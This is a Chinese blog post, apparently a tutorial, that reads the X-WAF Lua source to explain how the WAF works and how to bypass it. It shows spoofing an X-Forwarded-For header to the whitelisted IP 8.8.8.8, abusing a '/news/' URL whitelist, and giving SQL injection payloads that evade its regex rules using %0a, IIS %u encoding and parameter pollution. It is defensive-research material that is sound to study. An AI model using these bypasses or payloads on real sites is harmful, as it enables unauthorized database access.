X-WAF是一款使用中、小企业的云WAF系统,让中、小企业也可以非常方便地拥有自己的免费云WAF。

本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass。

0x01 环境搭建

官网:

https://waf.xsec.io>

github 源码:

https://github.com/xsec-lab/x-waf

X-WAF 下载安装后,设置反向代理访问构造的 SQL 注入点

0x02 代码分析

首先看一下整体的目录结构,nginx_conf目录为参考配置(可删除),rules目录存放过滤规则,init.lua加载规则,access.lua程序启动,config.lua配置文件

主要逻辑实现全部在util.lua和waf.lua文件。

代码逻辑很简单,先熟悉一下检测流程,程序入口在waf.lua第262-274行中:

-- waf startfunction _M.check() if _M.white_ip_check() thenelseif _M.black_ip_check() thenelseif _M.user_agent_attack_check() thenelseif _M.white_url_check() thenelseif _M.url_attack_check() thenelseif _M.cc_attack_check() then    elseif _M.cookie_attack_check() thenelseif _M.url_args_attack_check() thenelseif _M.post_attack_check() thenelsereturnend`

这个一个多条件判断语句,一旦满足前面的条件就不再进行后面的检测。

白名单

首先判断 IP 白名单,我们来看一下 white_ip_check() 函数,同文件下的第 50-64 行:

-- white ip checkfunction _M.white_ip_check()if config.config_white_ip_check == "on" thenlocal IP_WHITE_RULE = _M.get_rule('whiteip.rule')local WHITE_IP = util.get_client_ip()if IP_WHITE_RULE ~= nil thenfor _, rule in pairs(IP_WHITE_RULE) doif rule ~= "" and rulematch(WHITE_IP, rule, "jo") thenutil.log_record(config.config_log_dir, 'White_IP', ngx.var_request_uri, "_", "_")return trueendendendend

默认配置IP白名单是开启状态,读取IP白名单规则与获取的客户端IP进行对比,我们再来跟进看一下get_client_ip()函数,在util.lua文件中,第83-96行:

-- Get the client IPfunction _M.get_client_ip()local CLIENT_IP = ngx.req.get_headers()["X_real_ip"]if CLIENT_IP == nil thenCLIENT_IP = ngx.req.get_headers()["X_Forwarded_For"]endif CLIENT_IP == nil thenCLIENT_IP = ngx.var.remote_addrendif CLIENT_IP == nil thenCLIENT_IP = ""endreturn CLIENT_IP
end

在这段获取客户端IP的代码中,后去的X_real_ip、X_Forwarded_For使用可控的,存在客户端IP地址可伪造的风险。最后再来看一下,rules目录中whiteip.rule的默认配置:

[{"Id": 74, "RuleType": "whiteip", "RuleItem": "8.8.8.8"}]

IP白名单规则默认IP: 8.8.8.8为白名单

因此我们可以通过构造HTTP请求Header实现伪造IP来源为8.8.8.8,从而绕过x-waf的所有安全防御。

Bypass 测试

先来一张拦截效果图

伪造客户端 IP 绕过:

另外有趣的是,在blackip.rule里面,把8.8.8.8放置在黑名单里面,但这并没有什么用,IP白名单已经跳出多条件判断,不会再进行IP黑名单检测。CC攻击的防御也主要是从客户端获取IP,也可以伪造客户端IP轻易绕过限制。

[{"Id": 2, "RuleType": "blackip","RuleItem": "8.8.8.8"},{"Id": 3, "RuleType": "blackip","RuleItem": "1.1.1.1"}
]

同样来看一下url白名单white_url_check()函数:

function _M.white_url_check()if config.config_white_url_check == "on" thenlocal URL_WHITE_RULES = _M.get_rule('writeurl.rule')local REQ_URI = ngx.var.request_uriif URL_WHITE_RULES ~= nil thenfor _, rule in paires(URL_WHITE_RULES) doif rule ~= "" and rulematch(REQ_URI, rule, "joi") thenreturn trueendendendend
end

添加了一下URL白名单功能,感觉无效,对比了一下rules文件,可以发现加载的rule文件名不一致。

这里应该是作者的一个笔误,writeurl.rule和whiteUrl.rule。

默认url白名单配置:

[{"Id": 73,"RuleType": "whiteUrl","RuleItem": "/news/"}
]

另外,这里使用ngx.re.find进行ngx.var.request_uri和rule匹配,只要url中存在/news/,就不进行检测,绕过安全防御规则。比如:/test/sql,php/news/?id=1、/test/sql,php?id=1&b=/news/等形式可绕过。

正则匹配

接下来,我们主要来看一下M.url_args_attack_check():

-- deny url argsfunction _M.url_args_attack_check()if config.config_url_args_check == "on" thenlocal ARGS_RULES = _M.get_rule('args.rule')for _, rule in pairs(ARGS_RULES) dolocal REQ_ARGS = ngx.req.get_uri_args()for key, val in pairs(REQ_ARGS) dolocal ARGS_DATA = {}if type(val) == 'table' thenARGS_DATA = table.concat(val, " ")elseARGS_DATA = valendif ARGS_DATA and type(ARGS_DATA) ~= "boolean" and rule ~= "" and rulematch(unescape(ARGS_DATA), rule, "joi") thenutil.log_record(config.config_log_dirc, 'Get_Attack', ngx.var.request_uri, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false
end

M.post_attack_check():

-- deny postfunction _M.post_attack_check()if config.config_post_check == "on" thenngx.req.read_body()local POST_RULES = _M.get_rule('post.rule')for _, rule in pairs(POST_RULES) dolocal POST_ARGS = ngx.req.get_post_args() or {}for k, v in pairs(POST_ARGS) dolocal post_data = ""if type(v) == "table" thenpost_data = table.concat(v, ", ")elseif type(v) == "boolean" thenpost_data = kelsepost_data = vendif rule ~= "" and rulematch(post_data, rule, "joi") thenutil.log_record(config.config_log_dir, 'Post_Attack', post_data, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false
end

两段函数在一定程度上是类似的,使用ngx.req.get_uri_args、ngx.req.get_post_args获取数据来源,前者来自uri请求参数,而后者来自post请求内容,并未对数据进行特殊处理,然后都使用rulematch(data, rule, "joi") 来进行匹配。

rule中比较关键SQL注入防御规则如下:

`select.+(from|limit)

(?:(union(.*?)select))

(?:form\W+information_schema\W)`

绕过姿势一:%0a

由于使用的是joi来修饰,我们可以用%0a来进行绕过。

/sql.php?id=1 union%0aselect

1, schema_name, 3%0afrom

/*!12345information_schema.schemata*/

绕过姿势二:%u 特性

主要利用 IIS 服务器支持 unicode 的解析

/sql.aspx?id=1    union   selec%u0054
null,table_name,null fro%u004d
information_schema.tables

绕过姿势三:HPP+GPC

使用 GPC 三种方式可以进行参数传递,利用 apsx 特性,将获取到参数拼接起来,可成功 Bypass

/sql.aspx?id=1 union/*

POST:Id=2*/select null,system_user,null

0x03 总结

这是一款适合用来进行 WAF Bypass 练手的云 WAF,通过代码层面熟悉 WAF 的工作原理,进一步理解和应用各种服务器特性、数据库特性来进行尝试 Bypass,期待与你来交流更多姿势。

分析绕过一款适合练手的云WAF相关推荐

  1. Android股票app模拟同花顺,适合练手的Android项目

    本项目是一款Android股票app软件,模拟同花顺,高仿微信九宫格图片浏览和Activity滑动返回,使用Volley网络请求和MVP框架 ,PullToRefreshRecyclerView.自定 ...

  2. part1:推荐一些适合练手、课程设计、毕业设计的python小项目源码,无任何下载门槛

    人生苦短,我用python,随着python这些年的流行,很多人开始使用python来实现各种功能.下面推荐一些适合用来练手.大学生课程设计作业.大学生毕业设计的python小项目,尤其适合新手,源码 ...

  3. stripfxg php,代码审计| 适合练手的ZZCMS8.2漏洞

    0x00 **背景** 本周,分析了下zzcms8.2的源码,发现了蛮多问题的,觉得这个源码适合萌新们练手或入坑PHP的代码审计,发出一些我发现的问题,当然这个源码还有很多问题,本篇仅对部分漏洞进行分 ...

  4. 软件测试分享15个适合练手的项目【金融/银行/商城/电商/医药......】

    还愁没有练手的项目?我已经给你准备好了,需要评论区留下你的想法吧 1.引言 1.1 文档版本 版本 作者 审批 备注 V1.0 XXXX 创建测试方案文档 1.2 项目情况 项目名称 XXX 项目版本 ...

  5. java 适合练手的java项目

    Java作为一门古老的语言,已有20年左右的历史,这在发展日新月异的技术圈可以说是一个神话. 虽然不少人曾抱怨Java语言就像老太太的裹脚布,又臭又长,有时写了500行都不能表达程序员的意图. 但从市 ...

  6. 有哪些适合练手的爬虫小项目?

    点击上方蓝色字体,星标公众号 我们正在发起一场公益活动: 无私帮助大家解决难题,真正解决的那种! 问答起飞 如果你平时遇到任何困扰你已久的问题,可以加群,告诉我们,统一记录到<QA>表中. ...

  7. 简单且有创意的python作品_适合练手的 14 个Python 小项目,趣味十足!

    掌握一门技术,迅速提升能力,最好方法是通过实践项目,最好是完整且有趣的.分享一本,我认为非常不错的书籍,<Python Playground>,这本书每个章节就是一个完整的小项目. ​​​ ...

  8. scrapy+selenuim中间件爬取京东图书有详细思考过程(涉及较广适合练手)

    网上很多版本的爬取京东图书都失效了 现在这个版本是能运行的截至到编辑的日期的前后(往后不敢保证) gitee仓库网址:https://gitee.com/cc2436686/jd_book_spide ...

  9. 适合练手的 14 个Python 小项目,趣味十足!

    掌握一门技术,迅速提升能力,最好方法是通过实践项目,最好是完整且有趣的.分享一本,我认为非常不错的书籍,<Python Playground>,这本书每个章节就是一个完整的小项目. 第一章 ...

最新文章

  1. 清除浮动(clearfix)
  2. java、上转型对象
  3. SAP WebIDE:how to enable context API reference
  4. php ob 缓存,php中ob函数缓冲机制深入理解
  5. JAVA Web学习篇--Servlet
  6. CarbonData:大数据融合数仓新一代引擎
  7. 今天迈出第一步,开始了解iphone开发
  8. 滴滴宣布架构大调整,强调安全第一
  9. Web Service-第一篇什么是Web Service
  10. maya python 游戏与影视编程指南pdf_《Maya Python游戏与影视编程指南》.( [美]Adam Mechtley).[PDF]...
  11. 光纤信号服务器,485转光纤的两种方式
  12. 【C 语言】文件操作 ( fopen 文件打开方式详解 )
  13. java int short区别_Java基础之数据比较Integer、Short、int、short
  14. IT人才外包服务的好处?
  15. Pytorch和Torch和torchvision的安装
  16. 观念理解论创业设计思维
  17. Java基础恶补——内存泄露、内存溢出
  18. 2022北林计科学生保研历程
  19. C#中sealed的用法
  20. win开启审计功能_windows文件共享审计功能开启

热门文章

  1. 为什么操作系统会有随机性
  2. hdu 1569 方格取数(2) 最大点权独立集
  3. LinkedList方法源码
  4. java对象如何保存日期_如何在Java中的日期对象中存储和检索毫秒?
  5. mysql文档批处理去重_数据导入经验总结
  6. python笔记之function函数
  7. Linux上(Redhat7)实现NFS文件共享服务
  8. 如何设计一个优秀的向导式界面(Wizard)
  9. Redhat系统下三种主要的软件包安装方法
  10. createprocess失败代码2_极客战记[森林]:边地之叉-通关代码及讲解